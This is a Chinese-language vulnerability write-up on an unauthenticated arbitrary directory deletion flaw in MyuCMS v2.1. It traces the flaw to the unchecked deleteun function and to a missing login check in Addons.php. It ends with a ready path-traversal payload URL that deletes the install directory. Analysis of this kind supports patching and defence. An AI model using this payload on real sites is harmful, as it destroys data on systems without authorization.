MyuCMS_v2.1_任意目录删除漏洞

# MyuCMS v2.1 任意目录删除漏洞

============================

一、漏洞简介
————

二、漏洞影响
————

MyuCMS v2.1

三、复现过程
————

因为漏洞描述是任意文件删除,所以先全文搜索 **unlink**
函数,定位到存在文件删除功能的代码段。

定位到 **application/common.php** 中的 **deleteun** 函数

![1.jpg](/static/qingy/MyuCMS_v2.1_任意目录删除漏洞/img/rId24.jpg)

function deleteun($dir_name)
{
$result = false;
if (is_dir($dir_name)) { // 判断是否为目录
if ($handle = opendir($dir_name)) { // 打开目录
while (false !== ($item = readdir($handle))) { // 通过这个 while 遍历目录中的文件
if ($item != ‘.’ && $item != ‘..’) {
if (is_dir($dir_name . DS . $item)) { // 若遍历到的文件为子目录,则递归调用deleteun
deleteun($dir_name . DS . $item);
} else {
unlink($dir_name . DS . $item); // 删除遍历到的文件
}
}
}
closedir($handle); // 关闭文件夹
if (rmdir($dir_name)) { // 删除该目录
$result = true;
}
}
}

return $result;
}

根据 **deleteun**
函数的实现代码来看,我们可以看到该函数中对传入的参数无任何限制。

然后在整个项目中搜索,看哪个文件中调用了 **deleteun** 函数。

发现总共三处两个文件调用了该函数,且这三处代码内容相同,只不过是传递给的
**deleteun**
函数的参数不同,我们可以判断出,这三处都可以触发任意目录删除漏洞。

![2.jpg](/static/qingy/MyuCMS_v2.1_任意目录删除漏洞/img/rId25.jpg)

这三处的不同之处在于。**Muban.php** 继承了 **Common** 类,在 **Common**
类中实现了对于是否已经登录的验证。实现代码如下。

public function _initialize(){
if(!session(‘usermail’) || !session(‘kouling’)){
$this->error(‘请登录’,url(‘login/index’));
print s();
}

}

而 **Addons.php** 继承自 **AdminBase** 类,且初始化时执行父类
**AdminBase** 的 **\_initialize()** 方法,在 **AdminBase**
类中调用了父类 **Controller** 的 **\_initialize()** 方法。而父类的
**Controller** 的 **\_initialize();** 方法的实现内容为空。

所以 **Addons.php**
在未登录的情况下也可以访问。这意味我们不需要登录后台也可以触发任意目录删除漏洞。

### Payload

所以给出 Payload 如下,即可删除整个 **install** 目录

Payload: http://www.0-sec.org/admin/Addons/un?info=../install

参考链接
——–

> https://xz.aliyun.com/t/7271\#toc-0

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容